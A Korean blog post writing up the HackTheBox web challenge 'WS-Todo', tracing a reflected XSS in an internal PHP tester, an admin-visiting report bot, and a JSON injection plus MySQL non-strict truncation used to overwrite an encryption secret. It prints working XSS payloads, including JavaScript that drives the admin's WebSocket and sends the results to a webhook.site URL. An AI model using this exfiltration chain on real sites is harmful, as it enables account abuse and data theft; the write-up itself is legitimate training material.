🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

182

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/Wargame

[Hackthebox] WS-Todo Writeup(문제풀이)

알 수 없는 사용자 2023. 1. 1. 23:53
728x90
반응형

이번에 정말 오랜만에 Hackthebox 에 Web Challenge 카테고리에 따끈따끈한 신규 문제가 출제되었다는 소식을 듣고 후다닥 가서 풀어보았는데요! 역시 명불허전 무척이나 흥미로운 문제였습니다. 옛날에 React 공부할 때 todo list 를 만들었던 기억이 새록새록 떠오르는데요. 이번 문제도 역시나 todo list 관련 문제였습니다... 근데 todo list 에 왠걸 관리자가 있네요? 엄청난 짬뽕 조합이 아닐 수 없습니다. 하지만 푸는 재미만 있으면 되니 그냥 풀어봅니다!

 

문제 개요

문제 설명 :

This WebSockets-based Todo application features ✨millitary-grade encryption✨ and is extremely low-latency. Ideal for busy students and working professionals alike.

/login 페이지

문제 난이도 : Medium

문제 유형 : XSS, Websocket

코드 분석

문제 디렉터리 구조 : 

node.js 로 구동되는 서버와 php 로 구동되는 서버로 총 두 개의 서버가 존재했습니다. node.js 서버는 todo 라는 이름과 php 서버는 htmltester 라는 이름으로 부르겠습니다.

 

결론부터 말해보면, htmltester 서버의 index.php 페이지에서 XSS 공격이 가능했습니다.

<html>
    <body>
        <?php if (isset($_GET['html'])): ?>
            <?php echo $_GET['html']; ?>
        <?php else: ?>
            <h1>HTML Tester</h1>
            <p>Internal development tool</p>
            <form action="index.php" method="get">
                <input type="text" name="html" />
                <input type="submit" value="Submit" />
            </form>
        <?php endif; ?>
    </body>
</html>

GET 파라미터로 들어온 html 값을 별도의 XSS 필터링 없이 그대로 출력하기 때문에 XSS 공격에 취약한 코드임을 볼 수 있습니다.

 

Reflected XSS 페이로드를 간단하게 제작해보면 아래와 같이 할 수 있겠습니다.

http://206.189.26.62:31338/?html=<script>alert(1)</script>

 

그럼 이제 htmltester 서버의 XSS에 취약한 페이지인 index.php 에 접근할 수 있는 endpoint가 어디인지 찾아보아야겠지요.

우선 supervisord.conf 파일 내용을 보면 알 수 있듯이 htmltester 서버는 8080 포트로 동작하고 있음을 알 수 있습니다.

 

코드를 보면 htmltester 서버에 직접적으로 요청할 수 있는 endpoint는 report.js 파일의 visit 함수밖에 없는 것을 확인할 수 있었습니다.

const LOGIN_URL = "http://127.0.0.1/login";

let browser = null

const visit = async (url) => {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()

    await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
    await page.waitForSelector('form')
    await page.type('wired-input[name=username]', process.env.USERNAME)
    await page.type('wired-input[name=password]', process.env.PASSWORD)
    await page.click('wired-button')

    try {
        await page.goto(url, { waitUntil: 'networkidle2' })
    } finally {
        await page.close()
        await ctx.close()
    }
}

url 파라미터로 들어온 내용으로 관리자로써 로그인 한 뒤 이동하는 기능이 정의되어 있는 것을 볼 수 있습니다.

 

그럼 이제 이 visit 함수가 호출되는 곳을 찾아서 실제로 XSS 공격이 가능한지 테스트 해보면 될 것입니다.

그리고 그 곳은 바로 아래에 정의되어 있는 함수인 doReportHandler 함수였습니다.

const doReportHandler = async (req, res) => {

    if (!browser) {
        console.log('[INFO] Starting browser')
        browser = await puppeteer.launch({
            args: [
                "--no-sandbox",
                "--disable-background-networking",
                "--disk-cache-dir=/dev/null",
                "--disable-default-apps",
                "--disable-extensions",
                "--disable-desktop-notifications",
                "--disable-gpu",
                "--disable-sync",
                "--disable-translate",
                "--disable-dev-shm-usage",
                "--hide-scrollbars",
                "--metrics-recording-only",
                "--mute-audio",
                "--no-first-run",
                "--safebrowsing-disable-auto-update",
            ]
        })
    }

    const url = req.body.url
    if (
        url === undefined ||
        (!url.startsWith('http://') && !url.startsWith('https://'))
    ) {
        return res.status(400).send({ error: 'Invalid URL' })
    }

    try {
        console.log(`[*] Visiting ${url}`)
        await visit(url)
        console.log(`[*] Done visiting ${url}`)
        return res.sendStatus(200)
    } catch (e) {
        console.error(`[-] Error visiting ${url}: ${e.message}`)
        return res.status(400).send({ error: e.message })
    }
}

해당 함수는 req.body.url 로 들어온 url 파라미터를 받아서 visit 함수를 호출해주는 것을 알 수 있습니다. url 파라미터는 http:// 또는 https:// 로 시작해야한다고 정의되어 있네요.

 

그리고 이 함수는 다시 라우터 함수로 등록되어 있는데, endpoint 는 /report 임을 알 수 있었습니다.

// Report any suspicious activity to the admin!
router.post('/report', doReportHandler);

 

todo 서버에서 /report 경로로 요청할 때 body 에 url 파라미터로 값을 전송하면 visit 함수의 url 파라미터로 이어진다는 것을 알 수 있습니다.

 

그럼 이제 관리자에게 Reflected XSS 페이로드를 보낼 수 있게 된 것입니다. 한번 아래와 같이 페이로드를 작성해서 보내보도록합니다.

http://127.0.0.1:8080/?html=<script>document.location.href='https://webhook.site/5f8ae008-4afd-4737-9d23-011a3e137493';</script>

그럼 관리자는 로그인하자마자 위 URL로 이동되어질 겁니다. 그러면 실제로 관리자가 접근하였는지 확인할 수 있겠습니다.

그리고 요청이 정상적으로 온 것을 확인할 수 있었습니다. 이로써 관리자를 향한 XSS 공격이 통한다는 것을 알 수 있습니다.

 

이제 FLAG 는 대체 어디있는지 확인해볼 필요가 있습니다. FLAG는 todo 서버의 코드 중 wsHandler.js 파일 내용에 있었습니다.

const wsHandler = (ws, req) => {
    let userId;
    sessionParser(req, {}, () => {
        if (req.session.userId) {
            userId = req.session.userId;
        } else {
            ws.close();
        }
    });

    ws.on('message', async (msg) => {
        const data = JSON.parse(msg);
        const secret = await db.getSecret(req.session.userId);

        if (data.action === 'add') {
            try {
                await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
                ws.send(JSON.stringify({ success: true, action: 'add' }));
            } catch (e) {
                ws.send(JSON.stringify({ success: false, action: 'add' }));
            }
        }
        else if (data.action === 'get') {
            try {
                const results = await db.getTasks(userId);
                const tasks = [];
                for (const result of results) {

                    let quote;

                    if (userId === 1) {
                        quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
                    } else {
                        quote = quotes[Math.floor(Math.random() * quotes.length)];
                    }

                    try {
                        const task = JSON.parse(result.data);
                        tasks.push({
                            title: encrypt(task.title, task.secret),
                            description: encrypt(task.description, task.secret),
                            quote: encrypt(quote, task.secret)
                        });
                    } catch (e) {
                        console.log(`Error parsing task ${result.data}: ${e}`);
                    }
                }
                ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));
            } catch (e) {
                ws.send(JSON.stringify({ success: false, action: 'get' }));
            }
        }
        else {
            ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));
        }
    });
};

FLAG는 userId 가 1인 경우에만 작성된 task 의 quote 로 보여주고 있습니다. 즉, 관리자에게만 FLAG를 보여준다는 것이죠.

 

하지만 관리자는 글을 별도로 작성하지 않았습니다. 때문에 XSS 공격으로 관리자의 권한으로 todo task 도 작성해주어야 하고, 그 작성된 task 의 quote 부분도 가져와주어야 합니다.

 

다만, 위 내용을 실천하기에 앞서 별도로 신경써줘야 하는 부분은 바로 암호화 된 값을 복호화 해줘야 한다는 점입니다.

각각의 todo task 들은 별도의 iv와 secret key 값이 있어야 복호화가 가능합니다. 그리고 위 코드를 보면 알겠지만 secret key의 경우에는 사용자별로 고유한 secret key 값을 사용하고 있음을 알 수 있습니다.

 

그럼 우선 XSS 공격으로 관리자가 작성한 글을 가져오기에 앞서 관리자의 secret 값을 가져와야겠지요.

근데 과연 XSS 공격으로 secret 값 탈취가 가능할까요? 결론은 불가능하다는 것이었습니다.

 

왜냐하면 XSS 공격은 htmltester 서버에서 페이로드가 실행되는데, todo 서버에서는 다른 출처로부터 실행되는 요청을 미들웨어로써 차단하고 있기 때문입니다. 바로 아래코드에서 본 내용을 찾아볼 수 있습니다.

const antiCSRFMiddleware = (req, res, next) => {
    const referer = (req.headers.referer? new URL(req.headers.referer).host : req.headers.host);
    const origin = (req.headers.origin? new URL(req.headers.origin).host : null);
  
    if (req.headers.host === (origin || referer)) {
      next();
    } else {
      return res.status(403).json({ error: 'CSRF detected' });
    }
};

 

흠... 근데 생각해보면 secret 값을 알지 못하는 상태에서 아무리 내용을 가져와봤자 복호화를 할 수 없어서 의미가 없고, bruteforce 를 하기엔 길이가 너무 길어 아닌 것 같고 그랬습니다.

 

그러던 중 secret 값을 덮어쓸 수 있는 취약점 한 곳을 발견할 수 있었습니다.

바로 wsHandler.js 파일의 이 코드인데요.

if (data.action === 'add') {
    try {
        await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
        ws.send(JSON.stringify({ success: true, action: 'add' }));
    } catch (e) {
        ws.send(JSON.stringify({ success: false, action: 'add' }));
    }
}

data.title 과 data.description 값은 사용자로부터 받아오는 입력 값으로 큰따옴표를 삽입함으로써 JSON 포맷을 파괴할 수 있는 취약점이 존재했습니다.

 

처음에는 secret 값을 덮어쓸 때 뒤에 secret 값이 있기 때문에 이걸 덮어쓸 수가 있을까? 라는 생각에 넘어갔던 부분이기도 한데, mysql sql mode 를 보고서 페이로드를 길게 작성하면 덮어쓸 수 있겠구나라는 생각이 들었습니다.

[program:mysql]
# Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"
autorestart=true

supervisord.conf 파일의 최하단에 있는 mysql 실행 시 sql-mode 설정 값을 보면 strict mode를 해제하고 있음을 알 수 있습니다. 그리고 아래 문서 내용을 참고하면 알 수 있듯이, strict mode 가 해제되면 key의 길이가 초과하여도 제약 없이 insert 가 가능하다는 점을 확인할 수 있습니다.

이 점을 활용하여 secret 값을 덮어쓰게 되면 관리자의 todo task 를 삽입하게 될 때 해당 글의 secret 값만큼은 원하는 값으로 변경할 수 있게 되고, 이제 관리자가 해당 글을 불러와서 읽어들일 때 직접 지정해준 secret 값으로 암호화된 내용을 복호화 하여 내용을 읽어올 수 있게 되었습니다!

 

그리고 그 내용에는 FLAG 값이 있겠지요. 이제 문제를 풀 수 있게 되었으니, 풀어보도록 하겠습니다.

문제 풀이

웹 소켓을 받아오는 javascript 는 문제의 static/index.js 코드에 친절히 설명되어 있어서 해당 코드를 따라서 작성해보았습니다.

const target = '127.0.0.1';
const ws = new WebSocket(`ws://${target}/ws`);
ws.onopen = () => {
    ws.send(JSON.stringify({action:'add',title: 'A',description: `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","secret":"00000000000000000000000000000000"}`}));
    ws.send(JSON.stringify({action:'get'}));
}
ws.onmessage = async (msg) => {
    fetch(`https://webhook.site/5f8ae008-4afd-4737-9d23-011a3e137493?m=${msg.data}`)
}

관리자로 로그인한 페이지에서는 제가 보낸 Reflected XSS URL을 타고 들어가서 위 javascript를 실행 당할 것이고, 관리자 권한으로써 secret 값을 덮었는 todo task 를 작성하게 될 것이고, 작성한 todo task 를 읽어들여서 webhook 사이트로 전송하게 될 것입니다.

 

그리고 이제 전달 받은 암호화된 내용들을 덮어쓴 secret 값으로 /decrypt endpoint를 불러와 복호화만 하면 FLAG를 구할 수 있게 됩니다!

 

끝!

 

이번 문제로 배울 수 있던 것은 mysql 버전에 따른 strict mode 기본값 설정이 다르다는 것과 strict mode 해제되었을 때의 파장, javascript 로 websocket을 다루는 방법 등 많은 것을 배울 수 있는 문제였던 것 같습니다.

 

이런 알찬 문제를 만들어주신 문제 creator 님께 감사함을 전하고 싶네요...!

728x90
반응형
댓글